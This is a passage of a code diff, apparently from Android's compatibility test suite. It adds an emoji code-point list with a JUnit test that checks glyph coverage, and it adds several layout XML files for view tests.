+        0x1F46B, // MAN AND WOMAN HOLDING HANDS
+        0x1F46C, // TWO MEN HOLDING HANDS
+        0x1F46D, // TWO WOMEN HOLDING HANDS
+        0x1F46E, // POLICE OFFICER
+        0x1F46F, // WOMAN WITH BUNNY EARS
+        0x1F470, // BRIDE WITH VEIL
+        0x1F471, // PERSON WITH BLOND HAIR
+        0x1F472, // MAN WITH GUA PI MAO
+        0x1F473, // MAN WITH TURBAN
+        0x1F474, // OLDER MAN
+        0x1F475, // OLDER WOMAN
+        0x1F476, // BABY
+        0x1F477, // CONSTRUCTION WORKER
+        0x1F478, // PRINCESS
+        0x1F479, // JAPANESE OGRE
+        0x1F47A, // JAPANESE GOBLIN
+        0x1F47B, // GHOST
+        0x1F47C, // BABY ANGEL
+        0x1F47D, // EXTRATERRESTRIAL ALIEN
+        0x1F47E, // ALIEN MONSTER
+        0x1F47F, // IMP
+        0x1F480, // SKULL
+        0x1F481, // INFORMATION DESK PERSON
+        0x1F482, // GUARDSMAN
+        0x1F483, // DANCER
+        0x1F484, // LIPSTICK
+        0x1F485, // NAIL POLISH
+        0x1F486, // FACE MASSAGE
+        0x1F487, // HAIRCUT
+        0x1F488, // BARBER POLE
+        0x1F489, // SYRINGE
+        0x1F48A, // PILL
+        0x1F48B, // KISS MARK
+        0x1F48C, // LOVE LETTER
+        0x1F48D, // RING
+        0x1F48E, // GEM STONE
+        0x1F48F, // KISS
+        0x1F490, // BOUQUET
+        0x1F491, // COUPLE WITH HEART
+        0x1F492, // WEDDING
+        0x1F493, // BEATING HEART
+        0x1F494, // BROKEN HEART
+        0x1F495, // TWO HEARTS
+        0x1F496, // SPARKLING HEART
+        0x1F497, // GROWING HEART
+        0x1F498, // HEART WITH ARROW
+        0x1F499, // BLUE HEART
+        0x1F49A, // GREEN HEART
+        0x1F49B, // YELLOW HEART
+        0x1F49C, // PURPLE HEART
+        0x1F49D, // HEART WITH RIBBON
+        0x1F49E, // REVOLVING HEARTS
+        0x1F49F, // HEART DECORATION
+        0x1F4A0, // DIAMOND SHAPE WITH A DOT INSIDE
+        0x1F4A1, // ELECTRIC LIGHT BULB
+        0x1F4A2, // ANGER SYMBOL
+        0x1F4A3, // BOMB
+        0x1F4A4, // SLEEPING SYMBOL
+        0x1F4A5, // COLLISION SYMBOL
+        0x1F4A6, // SPLASHING SWEAT SYMBOL
+        0x1F4A7, // DROPLET
+        0x1F4A8, // DASH SYMBOL
+        0x1F4A9, // PILE OF POO
+        0x1F4AA, // FLEXED BICEPS
+        0x1F4AB, // DIZZY SYMBOL
+        0x1F4AC, // SPEECH BALLOON
+        0x1F4AD, // THOUGHT BALLOON
+        0x1F4AE, // WHITE FLOWER
+        0x1F4AF, // HUNDRED POINTS SYMBOL
+        0x1F4B0, // MONEY BAG
+        0x1F4B1, // CURRENCY EXCHANGE
+        0x1F4B2, // HEAVY DOLLAR SIGN
+        0x1F4B3, // CREDIT CARD
+        0x1F4B4, // BANKNOTE WITH YEN SIGN
+        0x1F4B5, // BANKNOTE WITH DOLLAR SIGN
+        0x1F4B6, // BANKNOTE WITH EURO SIGN
+        0x1F4B7, // BANKNOTE WITH POUND SIGN
+        0x1F4B8, // MONEY WITH WINGS
+        0x1F4B9, // CHART WITH UPWARDS TREND AND YEN SIGN
+        0x1F4BA, // SEAT
+        0x1F4BB, // PERSONAL COMPUTER
+        0x1F4BC, // BRIEFCASE
+        0x1F4BD, // MINIDISC
+        0x1F4BE, // FLOPPY DISK
+        0x1F4BF, // OPTICAL DISC
+        0x1F4C0, // DVD
+        0x1F4C1, // FILE FOLDER
+        0x1F4C2, // OPEN FILE FOLDER
+        0x1F4C3, // PAGE WITH CURL
+        0x1F4C4, // PAGE FACING UP
+        0x1F4C5, // CALENDAR
+        0x1F4C6, // TEAR-OFF CALENDAR
+        0x1F4C7, // CARD INDEX
+        0x1F4C8, // CHART WITH UPWARDS TREND
+        0x1F4C9, // CHART WITH DOWNWARDS TREND
+        0x1F4CA, // BAR CHART
+        0x1F4CB, // CLIPBOARD
+        0x1F4CC, // PUSHPIN
+        0x1F4CD, // ROUND PUSHPIN
+        0x1F4CE, // PAPERCLIP
+        0x1F4CF, // STRAIGHT RULER
+        0x1F4D0, // TRIANGULAR RULER
+        0x1F4D1, // BOOKMARK TABS
+        0x1F4D2, // LEDGER
+        0x1F4D3, // NOTEBOOK
+        0x1F4D4, // NOTEBOOK WITH DECORATIVE COVER
+        0x1F4D5, // CLOSED BOOK
+        0x1F4D6, // OPEN BOOK
+        0x1F4D7, // GREEN BOOK
+        0x1F4D8, // BLUE BOOK
+        0x1F4D9, // ORANGE BOOK
+        0x1F4DA, // BOOKS
+        0x1F4DB, // NAME BADGE
+        0x1F4DC, // SCROLL
+        0x1F4DD, // MEMO
+        0x1F4DE, // TELEPHONE RECEIVER
+        0x1F4DF, // PAGER
+        0x1F4E0, // FAX MACHINE
+        0x1F4E1, // SATELLITE ANTENNA
+        0x1F4E2, // PUBLIC ADDRESS LOUDSPEAKER
+        0x1F4E3, // CHEERING MEGAPHONE
+        0x1F4E4, // OUTBOX TRAY
+        0x1F4E5, // INBOX TRAY
+        0x1F4E6, // PACKAGE
+        0x1F4E7, // E-MAIL SYMBOL
+        0x1F4E8, // INCOMING ENVELOPE
+        0x1F4E9, // ENVELOPE WITH DOWNWARDS ARROW ABOVE
+        0x1F4EA, // CLOSED MAILBOX WITH LOWERED FLAG
+        0x1F4EB, // CLOSED MAILBOX WITH RAISED FLAG
+        0x1F4EC, // OPEN MAILBOX WITH RAISED FLAG
+        0x1F4ED, // OPEN MAILBOX WITH LOWERED FLAG
+        0x1F4EE, // POSTBOX
+        0x1F4EF, // POSTAL HORN
+        0x1F4F0, // NEWSPAPER
+        0x1F4F1, // MOBILE PHONE
+        0x1F4F2, // MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT
+        0x1F4F3, // VIBRATION MODE
+        0x1F4F4, // MOBILE PHONE OFF
+        0x1F4F5, // NO MOBILE PHONES
+        0x1F4F6, // ANTENNA WITH BARS
+        0x1F4F7, // CAMERA
+        0x1F4F8, // CAMERA WITH FLASH
+        0x1F4F9, // VIDEO CAMERA
+        0x1F4FA, // TELEVISION
+        0x1F4FB, // RADIO
+        0x1F4FC, // VIDEOCASSETTE
+        0x1F4FD, // FILM PROJECTOR
+        0x1F4FF, // PRAYER BEADS
+        0x1F500, // TWISTED RIGHTWARDS ARROWS
+        0x1F501, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS
+        0x1F502, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY
+        0x1F503, // CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+        0x1F504, // ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+        0x1F505, // LOW BRIGHTNESS SYMBOL
+        0x1F506, // HIGH BRIGHTNESS SYMBOL
+        0x1F507, // SPEAKER WITH CANCELLATION STROKE
+        0x1F508, // SPEAKER
+        0x1F509, // SPEAKER WITH ONE SOUND WAVE
+        0x1F50A, // SPEAKER WITH THREE SOUND WAVES
+        0x1F50B, // BATTERY
+        0x1F50C, // ELECTRIC PLUG
+        0x1F50D, // LEFT-POINTING MAGNIFYING GLASS
+        0x1F50E, // RIGHT-POINTING MAGNIFYING GLASS
+        0x1F50F, // LOCK WITH INK PEN
+        0x1F510, // CLOSED LOCK WITH KEY
+        0x1F511, // KEY
+        0x1F512, // LOCK
+        0x1F513, // OPEN LOCK
+        0x1F514, // BELL
+        0x1F515, // BELL WITH CANCELLATION STROKE
+        0x1F516, // BOOKMARK
+        0x1F517, // LINK SYMBOL
+        0x1F518, // RADIO BUTTON
+        0x1F519, // BACK WITH LEFTWARDS ARROW ABOVE
+        0x1F51A, // END WITH LEFTWARDS ARROW ABOVE
+        0x1F51B, // ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE
+        0x1F51C, // SOON WITH RIGHTWARDS ARROW ABOVE
+        0x1F51D, // TOP WITH UPWARDS ARROW ABOVE
+        0x1F51E, // NO ONE UNDER EIGHTEEN SYMBOL
+        0x1F51F, // KEYCAP TEN
+        0x1F520, // INPUT SYMBOL FOR LATIN CAPITAL LETTERS
+        0x1F521, // INPUT SYMBOL FOR LATIN SMALL LETTERS
+        0x1F522, // INPUT SYMBOL FOR NUMBERS
+        0x1F523, // INPUT SYMBOL FOR SYMBOLS
+        0x1F524, // INPUT SYMBOL FOR LATIN LETTERS
+        0x1F525, // FIRE
+        0x1F526, // ELECTRIC TORCH
+        0x1F527, // WRENCH
+        0x1F528, // HAMMER
+        0x1F529, // NUT AND BOLT
+        0x1F52A, // HOCHO
+        0x1F52B, // PISTOL
+        0x1F52C, // MICROSCOPE
+        0x1F52D, // TELESCOPE
+        0x1F52E, // CRYSTAL BALL
+        0x1F52F, // SIX POINTED STAR WITH MIDDLE DOT
+        0x1F530, // JAPANESE SYMBOL FOR BEGINNER
+        0x1F531, // TRIDENT EMBLEM
+        0x1F532, // BLACK SQUARE BUTTON
+        0x1F533, // WHITE SQUARE BUTTON
+        0x1F534, // LARGE RED CIRCLE
+        0x1F535, // LARGE BLUE CIRCLE
+        0x1F536, // LARGE ORANGE DIAMOND
+        0x1F537, // LARGE BLUE DIAMOND
+        0x1F538, // SMALL ORANGE DIAMOND
+        0x1F539, // SMALL BLUE DIAMOND
+        0x1F53A, // UP-POINTING RED TRIANGLE
+        0x1F53B, // DOWN-POINTING RED TRIANGLE
+        0x1F53C, // UP-POINTING SMALL RED TRIANGLE
+        0x1F53D, // DOWN-POINTING SMALL RED TRIANGLE
+        0x1F549, // OM SYMBOL
+        0x1F54A, // DOVE OF PEACE
+        0x1F54B, // KAABA
+        0x1F54C, // MOSQUE
+        0x1F54D, // SYNAGOGUE
+        0x1F54E, // MENORAH WITH NINE BRANCHES
+        0x1F550, // CLOCK FACE ONE OCLOCK
+        0x1F551, // CLOCK FACE TWO OCLOCK
+        0x1F552, // CLOCK FACE THREE OCLOCK
+        0x1F553, // CLOCK FACE FOUR OCLOCK
+        0x1F554, // CLOCK FACE FIVE OCLOCK
+        0x1F555, // CLOCK FACE SIX OCLOCK
+        0x1F556, // CLOCK FACE SEVEN OCLOCK
+        0x1F557, // CLOCK FACE EIGHT OCLOCK
+        0x1F558, // CLOCK FACE NINE OCLOCK
+        0x1F559, // CLOCK FACE TEN OCLOCK
+        0x1F55A, // CLOCK FACE ELEVEN OCLOCK
+        0x1F55B, // CLOCK FACE TWELVE OCLOCK
+        0x1F55C, // CLOCK FACE ONE-THIRTY
+        0x1F55D, // CLOCK FACE TWO-THIRTY
+        0x1F55E, // CLOCK FACE THREE-THIRTY
+        0x1F55F, // CLOCK FACE FOUR-THIRTY
+        0x1F560, // CLOCK FACE FIVE-THIRTY
+        0x1F561, // CLOCK FACE SIX-THIRTY
+        0x1F562, // CLOCK FACE SEVEN-THIRTY
+        0x1F563, // CLOCK FACE EIGHT-THIRTY
+        0x1F564, // CLOCK FACE NINE-THIRTY
+        0x1F565, // CLOCK FACE TEN-THIRTY
+        0x1F566, // CLOCK FACE ELEVEN-THIRTY
+        0x1F567, // CLOCK FACE TWELVE-THIRTY
+        0x1F56F, // CANDLE
+        0x1F570, // MANTELPIECE CLOCK
+        0x1F573, // HOLE
+        0x1F574, // MAN IN BUSINESS SUIT LEVITATING
+        0x1F575, // SLEUTH OR SPY
+        0x1F576, // DARK SUNGLASSES
+        0x1F577, // SPIDER
+        0x1F578, // SPIDER WEB
+        0x1F579, // JOYSTICK
+        0x1F57A, // MAN DANCING
+        0x1F587, // LINKED PAPERCLIPS
+        0x1F58A, // LOWER LEFT BALLPOINT PEN
+        0x1F58B, // LOWER LEFT FOUNTAIN PEN
+        0x1F58C, // LOWER LEFT PAINTBRUSH
+        0x1F58D, // LOWER LEFT CRAYON
+        0x1F590, // RAISED HAND WITH FINGERS SPLAYED
+        0x1F595, // REVERSED HAND WITH MIDDLE FINGER EXTENDED
+        0x1F596, // RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
+        0x1F5A4, // BLACK HEART
+        0x1F5A5, // DESKTOP COMPUTER
+        0x1F5A8, // PRINTER
+        0x1F5B1, // THREE BUTTON MOUSE
+        0x1F5B2, // TRACKBALL
+        0x1F5BC, // FRAME WITH PICTURE
+        0x1F5C2, // CARD INDEX DIVIDERS
+        0x1F5C3, // CARD FILE BOX
+        0x1F5C4, // FILE CABINET
+        0x1F5D1, // WASTEBASKET
+        0x1F5D2, // SPIRAL NOTE PAD
+        0x1F5D3, // SPIRAL CALENDAR PAD
+        0x1F5DC, // COMPRESSION
+        0x1F5DD, // OLD KEY
+        0x1F5DE, // ROLLED-UP NEWSPAPER
+        0x1F5E1, // DAGGER KNIFE
+        0x1F5E3, // SPEAKING HEAD IN SILHOUETTE
+        0x1F5E8, // LEFT SPEECH BUBBLE
+        0x1F5EF, // RIGHT ANGER BUBBLE
+        0x1F5F3, // BALLOT BOX WITH BALLOT
+        0x1F5FA, // WORLD MAP
+        0x1F5FB, // MOUNT FUJI
+        0x1F5FC, // TOKYO TOWER
+        0x1F5FD, // STATUE OF LIBERTY
+        0x1F5FE, // SILHOUETTE OF JAPAN
+        0x1F5FF, // MOYAI
+        0x1F600, // GRINNING FACE
+        0x1F601, // GRINNING FACE WITH SMILING EYES
+        0x1F602, // FACE WITH TEARS OF JOY
+        0x1F603, // SMILING FACE WITH OPEN MOUTH
+        0x1F604, // SMILING FACE WITH OPEN MOUTH AND SMILING EYES
+        0x1F605, // SMILING FACE WITH OPEN MOUTH AND COLD SWEAT
+        0x1F606, // SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES
+        0x1F607, // SMILING FACE WITH HALO
+        0x1F608, // SMILING FACE WITH HORNS
+        0x1F609, // WINKING FACE
+        0x1F60A, // SMILING FACE WITH SMILING EYES
+        0x1F60B, // FACE SAVOURING DELICIOUS FOOD
+        0x1F60C, // RELIEVED FACE
+        0x1F60D, // SMILING FACE WITH HEART-SHAPED EYES
+        0x1F60E, // SMILING FACE WITH SUNGLASSES
+        0x1F60F, // SMIRKING FACE
+        0x1F610, // NEUTRAL FACE
+        0x1F611, // EXPRESSIONLESS FACE
+        0x1F612, // UNAMUSED FACE
+        0x1F613, // FACE WITH COLD SWEAT
+        0x1F614, // PENSIVE FACE
+        0x1F615, // CONFUSED FACE
+        0x1F616, // CONFOUNDED FACE
+        0x1F617, // KISSING FACE
+        0x1F618, // FACE THROWING A KISS
+        0x1F619, // KISSING FACE WITH SMILING EYES
+        0x1F61A, // KISSING FACE WITH CLOSED EYES
+        0x1F61B, // FACE WITH STUCK-OUT TONGUE
+        0x1F61C, // FACE WITH STUCK-OUT TONGUE AND WINKING EYE
+        0x1F61D, // FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES
+        0x1F61E, // DISAPPOINTED FACE
+        0x1F61F, // WORRIED FACE
+        0x1F620, // ANGRY FACE
+        0x1F621, // POUTING FACE
+        0x1F622, // CRYING FACE
+        0x1F623, // PERSEVERING FACE
+        0x1F624, // FACE WITH LOOK OF TRIUMPH
+        0x1F625, // DISAPPOINTED BUT RELIEVED FACE
+        0x1F626, // FROWNING FACE WITH OPEN MOUTH
+        0x1F627, // ANGUISHED FACE
+        0x1F628, // FEARFUL FACE
+        0x1F629, // WEARY FACE
+        0x1F62A, // SLEEPY FACE
+        0x1F62B, // TIRED FACE
+        0x1F62C, // GRIMACING FACE
+        0x1F62D, // LOUDLY CRYING FACE
+        0x1F62E, // FACE WITH OPEN MOUTH
+        0x1F62F, // HUSHED FACE
+        0x1F630, // FACE WITH OPEN MOUTH AND COLD SWEAT
+        0x1F631, // FACE SCREAMING IN FEAR
+        0x1F632, // ASTONISHED FACE
+        0x1F633, // FLUSHED FACE
+        0x1F634, // SLEEPING FACE
+        0x1F635, // DIZZY FACE
+        0x1F636, // FACE WITHOUT MOUTH
+        0x1F637, // FACE WITH MEDICAL MASK
+        0x1F638, // GRINNING CAT FACE WITH SMILING EYES
+        0x1F639, // CAT FACE WITH TEARS OF JOY
+        0x1F63A, // SMILING CAT FACE WITH OPEN MOUTH
+        0x1F63B, // SMILING CAT FACE WITH HEART-SHAPED EYES
+        0x1F63C, // CAT FACE WITH WRY SMILE
+        0x1F63D, // KISSING CAT FACE WITH CLOSED EYES
+        0x1F63E, // POUTING CAT FACE
+        0x1F63F, // CRYING CAT FACE
+        0x1F640, // WEARY CAT FACE
+        0x1F641, // SLIGHTLY FROWNING FACE
+        0x1F642, // SLIGHTLY SMILING FACE
+        0x1F643, // UPSIDE-DOWN FACE
+        0x1F644, // FACE WITH ROLLING EYES
+        0x1F645, // FACE WITH NO GOOD GESTURE
+        0x1F646, // FACE WITH OK GESTURE
+        0x1F647, // PERSON BOWING DEEPLY
+        0x1F648, // SEE-NO-EVIL MONKEY
+        0x1F649, // HEAR-NO-EVIL MONKEY
+        0x1F64A, // SPEAK-NO-EVIL MONKEY
+        0x1F64B, // HAPPY PERSON RAISING ONE HAND
+        0x1F64C, // PERSON RAISING BOTH HANDS IN CELEBRATION
+        0x1F64D, // PERSON FROWNING
+        0x1F64E, // PERSON WITH POUTING FACE
+        0x1F64F, // PERSON WITH FOLDED HANDS
+        0x1F680, // ROCKET
+        0x1F681, // HELICOPTER
+        0x1F682, // STEAM LOCOMOTIVE
+        0x1F683, // RAILWAY CAR
+        0x1F684, // HIGH-SPEED TRAIN
+        0x1F685, // HIGH-SPEED TRAIN WITH BULLET NOSE
+        0x1F686, // TRAIN
+        0x1F687, // METRO
+        0x1F688, // LIGHT RAIL
+        0x1F689, // STATION
+        0x1F68A, // TRAM
+        0x1F68B, // TRAM CAR
+        0x1F68C, // BUS
+        0x1F68D, // ONCOMING BUS
+        0x1F68E, // TROLLEYBUS
+        0x1F68F, // BUS STOP
+        0x1F690, // MINIBUS
+        0x1F691, // AMBULANCE
+        0x1F692, // FIRE ENGINE
+        0x1F693, // POLICE CAR
+        0x1F694, // ONCOMING POLICE CAR
+        0x1F695, // TAXI
+        0x1F696, // ONCOMING TAXI
+        0x1F697, // AUTOMOBILE
+        0x1F698, // ONCOMING AUTOMOBILE
+        0x1F699, // RECREATIONAL VEHICLE
+        0x1F69A, // DELIVERY TRUCK
+        0x1F69B, // ARTICULATED LORRY
+        0x1F69C, // TRACTOR
+        0x1F69D, // MONORAIL
+        0x1F69E, // MOUNTAIN RAILWAY
+        0x1F69F, // SUSPENSION RAILWAY
+        0x1F6A0, // MOUNTAIN CABLEWAY
+        0x1F6A1, // AERIAL TRAMWAY
+        0x1F6A2, // SHIP
+        0x1F6A3, // ROWBOAT
+        0x1F6A4, // SPEEDBOAT
+        0x1F6A5, // HORIZONTAL TRAFFIC LIGHT
+        0x1F6A6, // VERTICAL TRAFFIC LIGHT
+        0x1F6A7, // CONSTRUCTION SIGN
+        0x1F6A8, // POLICE CARS REVOLVING LIGHT
+        0x1F6A9, // TRIANGULAR FLAG ON POST
+        0x1F6AA, // DOOR
+        0x1F6AB, // NO ENTRY SIGN
+        0x1F6AC, // SMOKING SYMBOL
+        0x1F6AD, // NO SMOKING SYMBOL
+        0x1F6AE, // PUT LITTER IN ITS PLACE SYMBOL
+        0x1F6AF, // DO NOT LITTER SYMBOL
+        0x1F6B0, // POTABLE WATER SYMBOL
+        0x1F6B1, // NON-POTABLE WATER SYMBOL
+        0x1F6B2, // BICYCLE
+        0x1F6B3, // NO BICYCLES
+        0x1F6B4, // BICYCLIST
+        0x1F6B5, // MOUNTAIN BICYCLIST
+        0x1F6B6, // PEDESTRIAN
+        0x1F6B7, // NO PEDESTRIANS
+        0x1F6B8, // CHILDREN CROSSING
+        0x1F6B9, // MENS SYMBOL
+        0x1F6BA, // WOMENS SYMBOL
+        0x1F6BB, // RESTROOM
+        0x1F6BC, // BABY SYMBOL
+        0x1F6BD, // TOILET
+        0x1F6BE, // WATER CLOSET
+        0x1F6BF, // SHOWER
+        0x1F6C0, // BATH
+        0x1F6C1, // BATHTUB
+        0x1F6C2, // PASSPORT CONTROL
+        0x1F6C3, // CUSTOMS
+        0x1F6C4, // BAGGAGE CLAIM
+        0x1F6C5, // LEFT LUGGAGE
+        0x1F6CB, // COUCH AND LAMP
+        0x1F6CC, // SLEEPING ACCOMMODATION
+        0x1F6CD, // SHOPPING BAGS
+        0x1F6CE, // BELLHOP BELL
+        0x1F6CF, // BED
+        0x1F6D0, // PLACE OF WORSHIP
+        0x1F6D1, // OCTAGONAL SIGN
+        0x1F6D2, // SHOPPING TROLLEY
+        0x1F6E0, // HAMMER AND WRENCH
+        0x1F6E1, // SHIELD
+        0x1F6E2, // OIL DRUM
+        0x1F6E3, // MOTORWAY
+        0x1F6E4, // RAILWAY TRACK
+        0x1F6E5, // MOTOR BOAT
+        0x1F6E9, // SMALL AIRPLANE
+        0x1F6EB, // AIRPLANE DEPARTURE
+        0x1F6EC, // AIRPLANE ARRIVING
+        0x1F6F0, // SATELLITE
+        0x1F6F3, // PASSENGER SHIP
+        0x1F6F4, // SCOOTER
+        0x1F6F5, // MOTOR SCOOTER
+        0x1F6F6, // CANOE
+        0x1F6F7, // SLED
+        0x1F6F8, // FLYING SAUCER
+        0x1F910, // ZIPPER-MOUTH FACE
+        0x1F911, // MONEY-MOUTH FACE
+        0x1F912, // FACE WITH THERMOMETER
+        0x1F913, // NERD FACE
+        0x1F914, // THINKING FACE
+        0x1F915, // FACE WITH HEAD-BANDAGE
+        0x1F916, // ROBOT FACE
+        0x1F917, // HUGGING FACE
+        0x1F918, // SIGN OF THE HORNS
+        0x1F919, // CALL ME HAND
+        0x1F91A, // RAISED BACK OF HAND
+        0x1F91B, // LEFT-FACING FIST
+        0x1F91C, // RIGHT-FACING FIST
+        0x1F91D, // HANDSHAKE
+        0x1F91E, // HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+        0x1F91F, // LOVE-YOU GESTURE
+        0x1F920, // FACE WITH COWBOY HAT
+        0x1F921, // CLOWN FACE
+        0x1F922, // NAUSEATED FACE
+        0x1F923, // ROLLING ON THE FLOOR LAUGHING
+        0x1F924, // DROOLING FACE
+        0x1F925, // LYING FACE
+        0x1F926, // FACE PALM
+        0x1F927, // SNEEZING FACE
+        0x1F928, // FACE WITH RAISED EYEBROW
+        0x1F929, // STAR-STRUCK
+        0x1F92A, // CRAZY FACE
+        0x1F92B, // SHUSHING FACE
+        0x1F92C, // FACE WITH SYMBOLS OVER MOUTH
+        0x1F92D, // FACE WITH HAND OVER MOUTH
+        0x1F92E, // FACE VOMITING
+        0x1F92F, // EXPLODING HEAD
+        0x1F930, // PREGNANT WOMAN
+        0x1F931, // BREAST-FEEDING
+        0x1F932, // PALMS UP TOGETHER
+        0x1F933, // SELFIE
+        0x1F934, // PRINCE
+        0x1F935, // MAN IN TUXEDO
+        0x1F936, // MOTHER CHRISTMAS
+        0x1F937, // SHRUG
+        0x1F938, // PERSON DOING CARTWHEEL
+        0x1F939, // JUGGLING
+        0x1F93A, // FENCER
+        0x1F93C, // WRESTLERS
+        0x1F93D, // WATER POLO
+        0x1F93E, // HANDBALL
+        0x1F940, // WILTED FLOWER
+        0x1F941, // DRUM WITH DRUMSTICKS
+        0x1F942, // CLINKING GLASSES
+        0x1F943, // TUMBLER GLASS
+        0x1F944, // SPOON
+        0x1F945, // GOAL NET
+        0x1F947, // FIRST PLACE MEDAL
+        0x1F948, // SECOND PLACE MEDAL
+        0x1F949, // THIRD PLACE MEDAL
+        0x1F94A, // BOXING GLOVE
+        0x1F94B, // MARTIAL ARTS UNIFORM
+        0x1F94C, // CURLING STONE
+        0x1F950, // CROISSANT
+        0x1F951, // AVOCADO
+        0x1F952, // CUCUMBER
+        0x1F953, // BACON
+        0x1F954, // POTATO
+        0x1F955, // CARROT
+        0x1F956, // BAGUETTE BREAD
+        0x1F957, // GREEN SALAD
+        0x1F958, // SHALLOW PAN OF FOOD
+        0x1F959, // STUFFED FLATBREAD
+        0x1F95A, // EGG
+        0x1F95B, // GLASS OF MILK
+        0x1F95C, // PEANUTS
+        0x1F95D, // KIWIFRUIT
+        0x1F95E, // PANCAKES
+        0x1F95F, // DUMPLING
+        0x1F960, // FORTUNE COOKIE
+        0x1F961, // TAKEOUT BOX
+        0x1F962, // CHOPSTICKS
+        0x1F963, // BOWL WITH SPOON
+        0x1F964, // CUP WITH STRAW
+        0x1F965, // COCONUT
+        0x1F966, // BROCCOLI
+        0x1F967, // PIE
+        0x1F968, // PRETZEL
+        0x1F969, // CUT OF MEAT
+        0x1F96A, // SANDWICH
+        0x1F96B, // CANNED FOOD
+        0x1F980, // CRAB
+        0x1F981, // LION FACE
+        0x1F982, // SCORPION
+        0x1F983, // TURKEY
+        0x1F984, // UNICORN FACE
+        0x1F985, // EAGLE
+        0x1F986, // DUCK
+        0x1F987, // BAT
+        0x1F988, // SHARK
+        0x1F989, // OWL
+        0x1F98A, // FOX FACE
+        0x1F98B, // BUTTERFLY
+        0x1F98C, // DEER
+        0x1F98D, // GORILLA
+        0x1F98E, // LIZARD
+        0x1F98F, // RHINOCEROS
+        0x1F990, // SHRIMP
+        0x1F991, // SQUID
+        0x1F992, // GIRAFFE
+        0x1F993, // ZEBRA
+        0x1F994, // HEDGEHOG
+        0x1F995, // SAUROPOD
+        0x1F996, // T-REX
+        0x1F997, // CRICKET
+        0x1F9C0, // CHEESE WEDGE
+        0x1F9D0, // FACE WITH MONOCLE
+        0x1F9D1, // ADULT
+        0x1F9D2, // CHILD
+        0x1F9D3, // OLDER ADULT
+        0x1F9D4, // BEARDED PERSON
+        0x1F9D5, // WOMAN WITH HEADSCARF
+        0x1F9D6, // PERSON IN STEAMY ROOM
+        0x1F9D7, // PERSON CLIMBING
+        0x1F9D8, // PERSON IN LOTUS POSITION
+        0x1F9D9, // MAGE
+        0x1F9DA, // FAIRY
+        0x1F9DB, // VAMPIRE
+        0x1F9DC, // MERPERSON
+        0x1F9DD, // ELF
+        0x1F9DE, // GENIE
+        0x1F9DF, // ZOMBIE
+        0x1F9E0, // BRAIN
+        0x1F9E1, // ORANGE HEART
+        0x1F9E2, // BILLED CAP
+        0x1F9E3, // SCARF
+        0x1F9E4, // GLOVES
+        0x1F9E5, // COAT
+        0x1F9E6, // SOCKS
+    };
+
+    @Test
+    public void testEmojiCoverage() {
+        final Paint paint = new Paint();
+        for (int cp : ALL_EMOJI) {
+            final String characterAsString = new String(Character.toChars(cp));
+            assertTrue(String.format("No glyph for U+%04X", cp), paint.hasGlyph(characterAsString));
+        }
+    }
 }
diff --git a/tests/tests/view/res/layout/default_focus_highlight_layout.xml b/tests/tests/view/res/layout/default_focus_highlight_layout.xml
index 827de43..44a0f68 100644
--- a/tests/tests/view/res/layout/default_focus_highlight_layout.xml
+++ b/tests/tests/view/res/layout/default_focus_highlight_layout.xml
@@ -89,5 +89,16 @@
         android:orientation="vertical">
     </LinearLayout>
 
+    <Button
+        android:id="@+id/button_to_test_highlight_needed"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"/>
+
+    <ImageView
+        android:id="@+id/image_view_to_test_highlight_needed"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/id_ok"/>
 </LinearLayout>
 
diff --git a/tests/tests/view/res/layout/include_layout_explicit.xml b/tests/tests/view/res/layout/include_layout_explicit.xml
new file mode 100644
index 0000000..e13301e
--- /dev/null
+++ b/tests/tests/view/res/layout/include_layout_explicit.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<View xmlns:android="http://schemas.android.com/apk/res/android"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:id="@+id/include_layout_explicit" />
diff --git a/tests/tests/view/res/layout/include_layout_from_attr.xml b/tests/tests/view/res/layout/include_layout_from_attr.xml
new file mode 100644
index 0000000..e0e8fd3
--- /dev/null
+++ b/tests/tests/view/res/layout/include_layout_from_attr.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<View xmlns:android="http://schemas.android.com/apk/res/android"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:id="@+id/include_layout_from_attr" />
diff --git a/tests/tests/view/res/layout/inflater_layout_include.xml b/tests/tests/view/res/layout/inflater_layout_include.xml
new file mode 100644
index 0000000..7423830
--- /dev/null
+++ b/tests/tests/view/res/layout/inflater_layout_include.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
